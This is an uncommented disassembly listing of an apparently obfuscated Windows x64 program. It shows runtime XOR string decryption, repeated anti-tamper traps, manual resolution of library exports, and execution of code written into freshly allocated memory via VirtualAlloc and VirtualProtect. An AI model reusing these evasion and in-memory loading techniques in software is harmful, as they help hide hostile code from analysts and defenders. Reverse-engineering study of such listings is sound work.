mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f8db
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f8db
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006f8fb
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14006fa88
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], si
mov r10, r14
movabs r8, 0xc2d785d02
mov r11, r12
mov ebx, 0xb7616ee1
movabs r9, 0x185af0ba04
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
add r10, rsi
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14006f95e
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x140139b10]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x140139aa0]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x70a7
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
add r8, rsi
add r9, r13
add r10, 0x22
movabs rax, 0x30b5e17408
cmp r9, rax
jb 0x14006f9f9
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.1400df118
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x14015bfd0], r14
jne 0x14006faca
mov ecx, 0x26b0
call fcn.1400e39dc
test rax, rax
je 0x14006faca
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x14015bfd0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x140139cc0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140079920
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, rsi
cmp rdi, 0x17
jb 0x14006fb09
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x14015bfd0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14006fc25
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14006fbdd
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400e39dc
mov rsi, rax
test rax, rax
je 0x14006fc22
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14015bfd0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.140101bd0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.140102270
mov rcx, rdi
call fcn.1400e38b8
mov qword [0x14015bfd0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140079838
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14006fc46
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x14015bfd0]
test rbx, rbx
je 0x14006fd4f
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14006fd0a
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e39dc
mov rsi, rax
test rax, rax
je 0x14006fd4c
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14015bfd0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.140101bd0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.140102270
mov rcx, rdi
call fcn.1400e38b8
mov qword [0x14015bfd0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], 0xa
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14006ff7e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14006ff7e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14006ff7e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14006ff7e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14006ff7e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14006fde3
inc rax
test edi, edi
jne 0x14006fdce
test r8d, r8d
je 0x14006fdf5
inc rdx
cmp rdx, rsi
jb 0x14006fdbd
jmp 0x14006ff7e
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14006ff7e
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14006fe1a
mov r14d, r15d
jmp 0x14006ff7e
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400d8150
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14007a3fc
lea rcx, [rbp + 0x87b0]
call fcn.140079994
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.140079994
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006fe91
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.140101bd0
mov dword [0x140152424], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x140152420]
movsd qword [rdi], xmm0
movzx eax, word [0x140152428]
mov word [rdi + 8], ax
mov al, byte [0x14015242a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.140102270
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140152424], r15d
mov rdi, qword [0x14015bfd0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x140070032
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140070020
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140070020
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14006ffe5
xor edx, edx
call fcn.140102270
jmp 0x14007001e
cmp al, 1
jne 0x140070020
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14007a164
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14007a318
lea rcx, [rbp + 0x1168]
call fcn.14007a2a8
lea rcx, [rbp + 0x1168]
call fcn.1400116e8
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14006ffa9
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.140102270
mov rcx, rdi
call fcn.1400e38b8
xor r15d, r15d
mov qword [0x14015bfd0], r15
test r14d, r14d
js 0x140078378
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140078378
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400e39dc
test rax, rax
je 0x140070096
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x14015bfd0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x140139cc0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140079920
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x1400700d9
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x14015bfd0]
test rbx, rbx
je 0x140070200
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400701ac
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e39dc
mov rsi, rax
test rax, rax
je 0x1400701f3
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14015bfd0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.140101bd0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.140102270
mov rcx, rdi
call fcn.1400e38b8
mov qword [0x14015bfd0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400701f6
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140079838
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140070217
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x14015bfd0]
test rbx, rbx
je 0x140070325
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400702de
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e39dc
mov rsi, rax
test rax, rax
je 0x140070322
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14015bfd0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.140101bd0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.140102270
mov rcx, rdi
call fcn.1400e38b8
mov qword [0x14015bfd0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], 0xa
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140070325
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400703b6
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400703b6
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400703b6
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400703b6
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400703b6
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400703a5
inc rax
test edi, edi
jne 0x140070390
test r8d, r8d
je 0x140070431
inc rdx
cmp rdx, rsi
jb 0x14007037f
mov esi, r15d
mov rdi, qword [0x14015bfd0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x140070600
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400705ed
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400705ed
mov al, byte [rbp + 0xf70]
test al, al
jne 0x1400705b4
xor edx, edx
call fcn.140102270
jmp 0x1400705ed
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400703b6
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x1400703b6
cmp al, 1
jne 0x1400705ed
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.14007a164
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14007a318
lea rcx, [rbp + 0x1148]
call fcn.14007a2a8
lea rcx, [rbp + 0x1148]
call fcn.1400116e8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x1400703e6
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.140102270
mov rcx, rdi
call fcn.1400e38b8
mov qword [0x14015bfd0], r13
test esi, esi
js 0x1400781f0
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400781f0
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x1400706b0
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x140070729
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x14007070b
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x1400707c9
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x140070837
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 1
mov r10, r13
mov ebx, 0xb7616ee2
movabs rsi, 0x8080808080808081
movabs r8, 0xc2d785d02
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x185af0ba04
mov r14d, 0xb7616ee1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14007823b
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x140139a90]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x6d1b4635
mov dword [rbp + 0x96c], 0xa62854dd
mov dword [rbp + 0x970], 0xc99cb93
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x140ea820b8
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x281d504170
cmp r9, rax
jb 0x1400782e6
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 1
mov r10, r15
mov ebx, 0xb7616ee2
movabs rsi, 0x8080808080808081
movabs r8, 0xc2d785d02
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x185af0ba04
mov r14d, 0xb7616ee1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400783c3
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x140139ba0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xc6b4a2bf
mov word [rbp + 0x754], Ordinal_200
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0xf0afe188a
movabs r10, 0x1e15fc3114
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140078467
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400df118
int3
cmp rax, rbx
jne 0x1400785a2
mov rax, qword gs:[0x38]
movabs rcx, 0x3c3fd7c40c92e260
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078582
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078582
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400785a2
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x350], xmm0
mov esi, 1
mov word [rbp + 0x360], si
mov r10, r14
movabs r8, 0xc2d785d02
mov r11, r12
movabs r9, 0x185af0ba04
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0xb7616ee1
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
add r10, rsi
add r8, r13
add r11, r12
cmp r8, r9
jb 0x1400785e2
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x140139bf0]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x7fa1321f
mov dword [rbp + 0x82c], 0xc2d74a
mov r8, r14
mov ebx, 0xb7616ee1
movabs r9, 0x1079c0f64e
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
add r8, rsi
add r9, r13
add r10, 0x17
movabs rax, 0x20f381ec9c
cmp r9, rax
jb 0x14007868b
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x49]
mov ebx, 0x35f6738
cmp rax, rbx
jne 0x1400787d3
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400787b3
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400787b3
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400787d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rbx
jne 0x140078e8b
mov rax, qword gs:[0x38]
mov r15d, 0x3df3a125
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140078867
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140078867
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078e8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
